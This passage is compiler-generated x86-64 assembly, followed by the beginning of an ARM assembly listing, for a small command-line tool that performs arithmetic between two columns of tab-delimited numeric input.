.string "\n--- Error [%s]: invalid command line argument \"%s\"\n\n"
.align 8
.LC32:
.string "\n--- Error [%s]: invalid input column (-cx %ld) - must be >=1\n\n"
.align 8
.LC33:
.string "\n--- Error [%s]: invalid input column (-cy %ld) - must be >=1\n\n"
.align 8
.LC34:
.string "\n--- Error [%s]: invalid operation type (-t %d): must be 1-4\n\n"
.align 8
.LC35:
.string "\n--- Error [%s]: invalid -long (%d): must be 0 or 1\n\n"
.align 8
.LC36:
.string "\n--- Error [%s]: invalid -out (%d): must be 0 or 1\n\n"
.LC37:
.string "stdin"
.LC38:
.string "r"
.align 8
.LC39:
.string "\n--- Error [%s]: file \"%s\" not found\n\n"
.align 8
.LC40:
.string "\n--- Error [%s]: readline function encountered insufficient memory\n\n"
.align 8
.LC41:
.string "\n--- Error [%s]: insufficient memory\n\n"
.LC42:
.string "\t"
.align 8
.LC43:
.string "\n--- Error [%s]: lineparse function encountered insufficient memory\n\n"
.LC44:
.string "nan"
.LC45:
.string "%lf"
.LC51:
.string "%lf\n"
.LC52:
.string "%ld"
.LC53:
.string "%ld\n"
.LC54:
.string "inf"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 976
mov DWORD PTR -964[rbp], edi
mov QWORD PTR -976[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov QWORD PTR -888[rbp], 0
mov QWORD PTR -880[rbp], 0
mov QWORD PTR -808[rbp], 1
mov QWORD PTR -920[rbp], 0
mov QWORD PTR -864[rbp], 0
mov QWORD PTR -912[rbp], 0
mov QWORD PTR -856[rbp], 0
mov DWORD PTR -948[rbp], 1
mov DWORD PTR -944[rbp], 0
mov DWORD PTR -940[rbp], 0
mov QWORD PTR -824[rbp], 1
mov QWORD PTR -816[rbp], 2
cmp DWORD PTR -964[rbp], 1
jg .L2
mov rax, QWORD PTR stderr[rip]
mov rsi, rax
mov edi, 10
call fputc@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 71
mov esi, 1
lea rdi, .LC0[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
lea rdx, .LC1[rip]
lea rsi, .LC2[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 71
mov esi, 1
lea rdi, .LC0[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 28
mov esi, 1
lea rdi, .LC3[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 75
mov esi, 1
lea rdi, .LC4[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 7
mov esi, 1
lea rdi, .LC5[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
lea rdx, .LC6[rip]
lea rsi, .LC7[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 56
mov esi, 1
lea rdi, .LC8[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 31
mov esi, 1
lea rdi, .LC9[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -824[rbp]
lea rsi, .LC10[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -816[rbp]
lea rsi, .LC11[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -944[rbp]
lea rsi, .LC12[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -948[rbp]
lea rsi, .LC13[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 18
mov esi, 1
lea rdi, .LC14[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 21
mov esi, 1
lea rdi, .LC15[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 24
mov esi, 1
lea rdi, .LC16[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 18
mov esi, 1
lea rdi, .LC17[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -940[rbp]
lea rsi, .LC18[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 10
mov esi, 1
lea rdi, .LC19[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
lea rdx, .LC6[rip]
lea rsi, .LC20[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR stderr[rip]
lea rdx, .LC6[rip]
lea rsi, .LC21[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 8
mov esi, 1
lea rdi, .LC22[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 22
mov esi, 1
lea rdi, .LC23[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 71
mov esi, 1
lea rdi, .LC0[rip]
call fwrite@PLT
mov rax, QWORD PTR stderr[rip]
mov rsi, rax
mov edi, 10
call fputc@PLT
mov edi, 0
call exit@PLT
.L2:
mov rax, QWORD PTR -976[rbp]
add rax, 8
mov rdx, QWORD PTR [rax]
lea rax, -272[rbp]
lea rsi, .LC24[rip]
mov rdi, rax
mov eax, 0
call sprintf@PLT
mov QWORD PTR -936[rbp], 2
jmp .L3
.L11:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
movzx eax, BYTE PTR [rax]
cmp al, 45
jne .L4
mov rax, QWORD PTR -936[rbp]
lea rdx, 1[rax]
mov eax, DWORD PTR -964[rbp]
cdqe
cmp rdx, rax
jl .L5
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
mov rcx, rdx
lea rdx, .LC6[rip]
lea rsi, .LC25[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L5:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC26[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L6
mov rax, QWORD PTR -936[rbp]
add rax, 1
mov QWORD PTR -936[rbp], rax
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call atol@PLT
mov QWORD PTR -824[rbp], rax
jmp .L4
.L6:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC27[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L7
mov rax, QWORD PTR -936[rbp]
add rax, 1
mov QWORD PTR -936[rbp], rax
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call atol@PLT
mov QWORD PTR -816[rbp], rax
jmp .L4
.L7:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC28[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L8
mov rax, QWORD PTR -936[rbp]
add rax, 1
mov QWORD PTR -936[rbp], rax
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call atoi@PLT
mov DWORD PTR -948[rbp], eax
jmp .L4
.L8:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC29[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L9
mov rax, QWORD PTR -936[rbp]
add rax, 1
mov QWORD PTR -936[rbp], rax
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call atoi@PLT
mov DWORD PTR -944[rbp], eax
jmp .L4
.L9:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC30[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L10
mov rax, QWORD PTR -936[rbp]
add rax, 1
mov QWORD PTR -936[rbp], rax
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call atoi@PLT
mov DWORD PTR -940[rbp], eax
jmp .L4
.L10:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -976[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
mov rcx, rdx
lea rdx, .LC6[rip]
lea rsi, .LC31[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L4:
mov rax, QWORD PTR -936[rbp]
add rax, 1
mov QWORD PTR -936[rbp], rax
.L3:
mov eax, DWORD PTR -964[rbp]
movsx rdx, eax
mov rax, QWORD PTR -936[rbp]
cmp rdx, rax
jg .L11
cmp QWORD PTR -824[rbp], 0
jg .L12
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -824[rbp]
mov rcx, rdx
lea rdx, .LC6[rip]
lea rsi, .LC32[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L12:
cmp QWORD PTR -816[rbp], 0
jg .L13
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -816[rbp]
mov rcx, rdx
lea rdx, .LC6[rip]
lea rsi, .LC33[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L13:
cmp DWORD PTR -948[rbp], 0
jle .L14
cmp DWORD PTR -948[rbp], 4
jle .L15
.L14:
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -948[rbp]
mov ecx, edx
lea rdx, .LC6[rip]
lea rsi, .LC34[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L15:
cmp DWORD PTR -944[rbp], 0
je .L16
cmp DWORD PTR -944[rbp], 1
je .L16
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -944[rbp]
mov ecx, edx
lea rdx, .LC6[rip]
lea rsi, .LC35[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L16:
cmp DWORD PTR -940[rbp], 0
je .L17
cmp DWORD PTR -940[rbp], 1
je .L17
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -940[rbp]
mov ecx, edx
lea rdx, .LC6[rip]
lea rsi, .LC36[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L17:
mov rax, QWORD PTR -824[rbp]
sub rax, 1
mov QWORD PTR -800[rbp], rax
mov rax, QWORD PTR -816[rbp]
sub rax, 1
mov QWORD PTR -792[rbp], rax
lea rax, -272[rbp]
lea rsi, .LC37[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L18
mov rax, QWORD PTR stdin[rip]
mov QWORD PTR -848[rbp], rax
jmp .L20
.L18:
lea rax, -272[rbp]
lea rsi, .LC38[rip]
mov rdi, rax
call fopen@PLT
mov QWORD PTR -848[rbp], rax
cmp QWORD PTR -848[rbp], 0
jne .L20
mov rax, QWORD PTR stderr[rip]
lea rdx, -272[rbp]
mov rcx, rdx
lea rdx, .LC6[rip]
lea rsi, .LC39[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L75:
mov rax, QWORD PTR -920[rbp]
cmp rax, -1
jne .L21
mov rax, QWORD PTR stderr[rip]
lea rdx, .LC6[rip]
lea rsi, .LC40[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L21:
mov rax, QWORD PTR -920[rbp]
cmp QWORD PTR -864[rbp], rax
jge .L22
mov rax, QWORD PTR -920[rbp]
mov QWORD PTR -864[rbp], rax
mov rax, QWORD PTR -920[rbp]
add rax, 1
imul rax, QWORD PTR -808[rbp]
mov rdx, rax
mov rax, QWORD PTR -880[rbp]
mov rsi, rdx
mov rdi, rax
call realloc@PLT
mov QWORD PTR -880[rbp], rax
cmp QWORD PTR -880[rbp], 0
jne .L22
mov rax, QWORD PTR stderr[rip]
lea rdx, .LC6[rip]
lea rsi, .LC41[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L22:
mov rdx, QWORD PTR -888[rbp]
mov rax, QWORD PTR -880[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
lea rdx, -912[rbp]
mov rax, QWORD PTR -888[rbp]
lea rsi, .LC42[rip]
mov rdi, rax
call xf_lineparse2@PLT
mov QWORD PTR -856[rbp], rax
mov rax, QWORD PTR -912[rbp]
test rax, rax
jns .L23
mov rax, QWORD PTR stderr[rip]
lea rdx, .LC6[rip]
lea rsi, .LC43[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L23:
mov rax, QWORD PTR -912[rbp]
cmp QWORD PTR -824[rbp], rax
jg .L24
mov rax, QWORD PTR -912[rbp]
cmp QWORD PTR -816[rbp], rax
jle .L25
.L24:
cmp DWORD PTR -940[rbp], 0
jne .L26
lea rdi, .LC44[rip]
call puts@PLT
jmp .L20
.L26:
mov QWORD PTR -936[rbp], 0
jmp .L28
.L32:
mov rax, QWORD PTR -936[rbp]
test rax, rax
jle .L29
mov edi, 9
call putchar@PLT
.L29:
mov rax, QWORD PTR -936[rbp]
cmp QWORD PTR -792[rbp], rax
jne .L30
lea rdi, .LC44[rip]
mov eax, 0
call printf@PLT
jmp .L31
.L30:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -856[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, rax
mov rax, QWORD PTR -888[rbp]
add rax, rdx
mov rsi, rax
lea rdi, .LC24[rip]
mov eax, 0
call printf@PLT
.L31:
mov rax, QWORD PTR -936[rbp]
add rax, 1
mov QWORD PTR -936[rbp], rax
.L28:
mov rdx, QWORD PTR -936[rbp]
mov rax, QWORD PTR -912[rbp]
cmp rdx, rax
jl .L32
mov edi, 10
call putchar@PLT
jmp .L20
.L25:
mov QWORD PTR -872[rbp], 2
cmp DWORD PTR -944[rbp], 0
jne .L33
mov rax, QWORD PTR -800[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -856[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, rax
mov rax, QWORD PTR -888[rbp]
lea rcx, [rdx+rax]
lea rax, -904[rbp]
mov rdx, rax
lea rsi, .LC45[rip]
mov rdi, rcx
mov eax, 0
call __isoc99_sscanf@PLT
cmp eax, 1
jne .L34
sub QWORD PTR -872[rbp], 1
.L34:
mov rax, QWORD PTR -792[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -856[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, rax
mov rax, QWORD PTR -888[rbp]
lea rcx, [rdx+rax]
lea rax, -896[rbp]
mov rdx, rax
lea rsi, .LC45[rip]
mov rdi, rcx
mov eax, 0
call __isoc99_sscanf@PLT
cmp eax, 1
jne .L35
sub QWORD PTR -872[rbp], 1
.L35:
cmp QWORD PTR -872[rbp], 0
je .L36
cmp DWORD PTR -940[rbp], 0
jne .L37
mov rax, QWORD PTR -792[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -856[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, rax
mov rax, QWORD PTR -888[rbp]
add rax, rdx
mov rdi, rax
call puts@PLT
jmp .L20
.L37:
mov rax, QWORD PTR -880[rbp]
mov rsi, rax
lea rdi, .LC24[rip]
mov eax, 0
call printf@PLT
jmp .L20
.L36:
movsd xmm0, QWORD PTR -904[rbp]
movq xmm1, QWORD PTR .LC46[rip]
andpd xmm1, xmm0
movsd xmm0, QWORD PTR .LC47[rip]
ucomisd xmm0, xmm1
jb .L39
movsd xmm0, QWORD PTR -896[rbp]
movq xmm1, QWORD PTR .LC46[rip]
andpd xmm1, xmm0
movsd xmm0, QWORD PTR .LC47[rip]
ucomisd xmm0, xmm1
jnb .L83
.L39:
movsd xmm0, QWORD PTR .LC48[rip]
movsd QWORD PTR -832[rbp], xmm0
jmp .L42
.L83:
cmp DWORD PTR -948[rbp], 1
jne .L43
movsd xmm1, QWORD PTR -896[rbp]
movsd xmm0, QWORD PTR -904[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -832[rbp], xmm0
jmp .L42
.L43:
cmp DWORD PTR -948[rbp], 2
jne .L44
movsd xmm0, QWORD PTR -896[rbp]
movsd xmm1, QWORD PTR -904[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -832[rbp], xmm0
jmp .L42
.L44:
cmp DWORD PTR -948[rbp], 3
jne .L45
movsd xmm1, QWORD PTR -896[rbp]
movsd xmm0, QWORD PTR -904[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -832[rbp], xmm0
jmp .L42
.L45:
cmp DWORD PTR -948[rbp], 4
jne .L42
movsd xmm0, QWORD PTR -904[rbp]
pxor xmm1, xmm1
ucomisd xmm0, xmm1
jp .L46
pxor xmm1, xmm1
ucomisd xmm0, xmm1
jne .L46
movsd xmm0, QWORD PTR .LC48[rip]
movsd QWORD PTR -832[rbp], xmm0
jmp .L42
.L46:
movsd xmm0, QWORD PTR -896[rbp]
pxor xmm1, xmm1
ucomisd xmm0, xmm1
jp .L48
pxor xmm1, xmm1
ucomisd xmm0, xmm1
jne .L48
movsd xmm0, QWORD PTR .LC50[rip]
movsd QWORD PTR -832[rbp], xmm0
jmp .L42
.L48:
movsd xmm0, QWORD PTR -896[rbp]
movsd xmm1, QWORD PTR -904[rbp]
divsd xmm0, xmm1
movsd QWORD PTR -832[rbp], xmm0
.L42:
cmp DWORD PTR -940[rbp], 0
jne .L50
mov rax, QWORD PTR -832[rbp]
movq xmm0, rax
lea rdi, .LC51[rip]
mov eax, 1
call printf@PLT
jmp .L33
.L50:
mov QWORD PTR -936[rbp], 0
jmp .L51
.L55:
mov rax, QWORD PTR -936[rbp]
test rax, rax
jle .L52
mov edi, 9
call putchar@PLT
.L52:
mov rax, QWORD PTR -936[rbp]
cmp QWORD PTR -792[rbp], rax
jne .L53
mov rax, QWORD PTR -832[rbp]
movq xmm0, rax
lea rdi, .LC45[rip]
mov eax, 1
call printf@PLT
jmp .L54
.L53:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -856[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, rax
mov rax, QWORD PTR -888[rbp]
add rax, rdx
mov rsi, rax
lea rdi, .LC24[rip]
mov eax, 0
call printf@PLT
.L54:
mov rax, QWORD PTR -936[rbp]
add rax, 1
mov QWORD PTR -936[rbp], rax
.L51:
mov rdx, QWORD PTR -936[rbp]
mov rax, QWORD PTR -912[rbp]
cmp rdx, rax
jl .L55
mov edi, 10
call putchar@PLT
.L33:
cmp DWORD PTR -944[rbp], 1
jne .L20
mov rax, QWORD PTR -800[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -856[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, rax
mov rax, QWORD PTR -888[rbp]
lea rcx, [rdx+rax]
lea rax, -936[rbp]
mov rdx, rax
lea rsi, .LC52[rip]
mov rdi, rcx
mov eax, 0
call __isoc99_sscanf@PLT
cmp eax, 1
jne .L56
sub QWORD PTR -872[rbp], 1
.L56:
mov rax, QWORD PTR -792[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -856[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, rax
mov rax, QWORD PTR -888[rbp]
lea rcx, [rdx+rax]
lea rax, -928[rbp]
mov rdx, rax
lea rsi, .LC52[rip]
mov rdi, rcx
mov eax, 0
call __isoc99_sscanf@PLT
cmp eax, 1
jne .L57
sub QWORD PTR -872[rbp], 1
.L57:
cmp QWORD PTR -872[rbp], 0
je .L58
cmp DWORD PTR -940[rbp], 0
jne .L59
mov rax, QWORD PTR -792[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -856[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, rax
mov rax, QWORD PTR -888[rbp]
add rax, rdx
mov rdi, rax
call puts@PLT
jmp .L20
.L59:
mov rax, QWORD PTR -880[rbp]
mov rsi, rax
lea rdi, .LC24[rip]
mov eax, 0
call printf@PLT
jmp .L20
.L58:
cmp DWORD PTR -948[rbp], 1
jne .L61
mov rdx, QWORD PTR -928[rbp]
mov rax, QWORD PTR -936[rbp]
add rax, rdx
mov QWORD PTR -840[rbp], rax
jmp .L62
.L61:
cmp DWORD PTR -948[rbp], 2
jne .L63
mov rax, QWORD PTR -928[rbp]
mov rdx, QWORD PTR -936[rbp]
sub rax, rdx
mov QWORD PTR -840[rbp], rax
jmp .L62
.L63:
cmp DWORD PTR -948[rbp], 3
jne .L64
mov rdx, QWORD PTR -928[rbp]
mov rax, QWORD PTR -936[rbp]
imul rax, rdx
mov QWORD PTR -840[rbp], rax
jmp .L62
.L64:
cmp DWORD PTR -948[rbp], 4
jne .L62
mov rax, QWORD PTR -936[rbp]
test rax, rax
jne .L65
movabs rax, 9223372036854775807
mov QWORD PTR -840[rbp], rax
jmp .L62
.L65:
mov rax, QWORD PTR -928[rbp]
test rax, rax
jne .L66
mov QWORD PTR -840[rbp], 0
jmp .L62
.L66:
mov rax, QWORD PTR -928[rbp]
mov rcx, QWORD PTR -936[rbp]
cqo
idiv rcx
mov QWORD PTR -840[rbp], rax
.L62:
cmp DWORD PTR -940[rbp], 0
jne .L67
movabs rax, 9223372036854775807
cmp QWORD PTR -840[rbp], rax
je .L68
mov rax, QWORD PTR -840[rbp]
mov rsi, rax
lea rdi, .LC53[rip]
mov eax, 0
call printf@PLT
jmp .L20
.L68:
lea rdi, .LC54[rip]
call puts@PLT
jmp .L20
.L67:
mov QWORD PTR -936[rbp], 0
jmp .L69
.L74:
mov rax, QWORD PTR -936[rbp]
test rax, rax
jle .L70
mov edi, 9
call putchar@PLT
.L70:
mov rax, QWORD PTR -936[rbp]
cmp QWORD PTR -792[rbp], rax
jne .L71
movabs rax, 9223372036854775807
cmp QWORD PTR -840[rbp], rax
je .L72
mov rax, QWORD PTR -840[rbp]
mov rsi, rax
lea rdi, .LC52[rip]
mov eax, 0
call printf@PLT
jmp .L73
.L72:
lea rdi, .LC54[rip]
mov eax, 0
call printf@PLT
jmp .L73
.L71:
mov rax, QWORD PTR -936[rbp]
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -856[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, rax
mov rax, QWORD PTR -888[rbp]
add rax, rdx
mov rsi, rax
lea rdi, .LC24[rip]
mov eax, 0
call printf@PLT
.L73:
mov rax, QWORD PTR -936[rbp]
add rax, 1
mov QWORD PTR -936[rbp], rax
.L69:
mov rdx, QWORD PTR -936[rbp]
mov rax, QWORD PTR -912[rbp]
cmp rdx, rax
jl .L74
mov edi, 10
call putchar@PLT
.L20:
mov rdx, QWORD PTR -848[rbp]
lea rcx, -920[rbp]
mov rax, QWORD PTR -888[rbp]
mov rsi, rcx
mov rdi, rax
call xf_lineread1@PLT
mov QWORD PTR -888[rbp], rax
cmp QWORD PTR -888[rbp], 0
jne .L75
lea rax, -272[rbp]
lea rsi, .LC37[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
je .L76
mov rax, QWORD PTR -848[rbp]
mov rdi, rax
call fclose@PLT
.L76:
cmp QWORD PTR -856[rbp], 0
je .L77
mov rax, QWORD PTR -856[rbp]
mov rdi, rax
call free@PLT
.L77:
cmp QWORD PTR -888[rbp], 0
je .L78
mov rax, QWORD PTR -888[rbp]
mov rdi, rax
call free@PLT
.L78:
cmp QWORD PTR -880[rbp], 0
je .L79
mov rax, QWORD PTR -880[rbp]
mov rdi, rax
call free@PLT
.L79:
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 16
.LC46:
.long -1
.long 2147483647
.long 0
.long 0
.align 8
.LC47:
.long -1
.long 2146435071
.align 8
.LC48:
.long 0
.long 2146959360
.align 8
.LC50:
.long 0
.long 2146435072
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "600569.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "---------------------------------------------------"
.ascii "-------------------\012\000"
.align 2
.LC1:
.ascii "xe-math_doublet v 3: 20.January.2019 [JRH]\000"
.align 2
.LC2:
.ascii "%s\012\000"
.align 2
.LC3:
.ascii "Modify column-y by column-x\012\000"
.align 2
.LC4:
.ascii "Non-numeric or non-finite fields produce NAN output"
.ascii " (line-count preserved)\012\000"
.align 2
.LC5:
.ascii "USAGE:\012\000"
.align 2
.LC6:
.ascii "xe-math_doublet\000"
.align 2
.LC7:
.ascii " \011%s [input] [options]\012\000"
.align 2
.LC8:
.ascii "\011\011[input]: file name or \"stdin\" in format <"
.ascii "col1> <col2>\012\000"
.align 2
.LC9:
.ascii "VALID OPTIONS: defaults in []:\012\000"
.align 2
.LC10:
.ascii "\011-cx: column containing the modifier [%ld]\012\000"
.align 2
.LC11:
.ascii "\011-cy: column to be modified [%ld]\012\000"
.align 2
.LC12:
.ascii "\011-long: assume input is long-integers (0=NO 1=YE"
.ascii "S) [%d]\012\000"
.align 2
.LC13:
.ascii "\011-t type of operation[%d]\012\000"
.align 2
.LC14:
.ascii "\011\0111: y+x addition\012\000"
.align 2
.LC15:
.ascii "\011\0112: y-x subtraction\012\000"
.align 2
.LC16:
.ascii "\011\0113: y*x multiplication\012\000"
.align 2
.LC17:
.ascii "\011\0114: y/x division\012\000"
.align 2
.LC18:
.ascii "\011-out: output modified column (0) or all columns"
.ascii " (1) [%d]\012\000"
.align 2
.LC19:
.ascii "EXAMPLES:\012\000"
.align 2
.LC20:
.ascii "\011cat datafile.txt | %s stdin -t 2\012\000"
.align 2
.LC21:
.ascii "\011%s datafile.txt -t 1\012\000"
.align 2
.LC22:
.ascii "OUTPUT:\012\000"
.align 2
.LC23:
.ascii "\011single column result\012\000"
.align 2
.LC24:
.ascii "%s\000"
.align 2
.LC25:
.ascii "\012--- Error [%s]: missing value for argument \"%s"
.ascii "\"\012\012\000"
.align 2
.LC26:
.ascii "-cx\000"
.align 2
.LC27:
.ascii "-cy\000"
.align 2
.LC28:
.ascii "-t\000"
.align 2
.LC29:
.ascii "-long\000"
.align 2
.LC30:
.ascii "-out\000"
.align 2
.LC31:
.ascii "\012--- Error [%s]: invalid command line argument \""
.ascii "%s\"\012\012\000"
.align 2
.LC32:
.ascii "\012--- Error [%s]: invalid input column (-cx %ld) "
.ascii "- must be >=1\012\012\000"
.align 2
.LC33:
.ascii "\012--- Error [%s]: invalid input column (-cy %ld) "
.ascii "- must be >=1\012\012\000"
.align 2
.LC34:
.ascii "\012--- Error [%s]: invalid operation type (-t %d):"
.ascii " must be 1-4\012\012\000"
.align 2
.LC35:
.ascii "\012--- Error [%s]: invalid -long (%d): must be 0 o"
.ascii "r 1\012\012\000"
.align 2
.LC36:
.ascii "\012--- Error [%s]: invalid -out (%d): must be 0 or"
.ascii " 1\012\012\000"
.align 2
.LC37:
.ascii "stdin\000"
.align 2
.LC38:
.ascii "r\000"
.align 2
.LC39:
.ascii "\012--- Error [%s]: file \"%s\" not found\012\012\000"
.align 2
.LC40:
.ascii "\012--- Error [%s]: readline function encountered i"
.ascii "nsufficient memory\012\012\000"
.align 2
.LC41:
.ascii "\012--- Error [%s]: insufficient memory\012\012\000"
.align 2
.LC42:
.ascii "\011\000"
.align 2
.LC43:
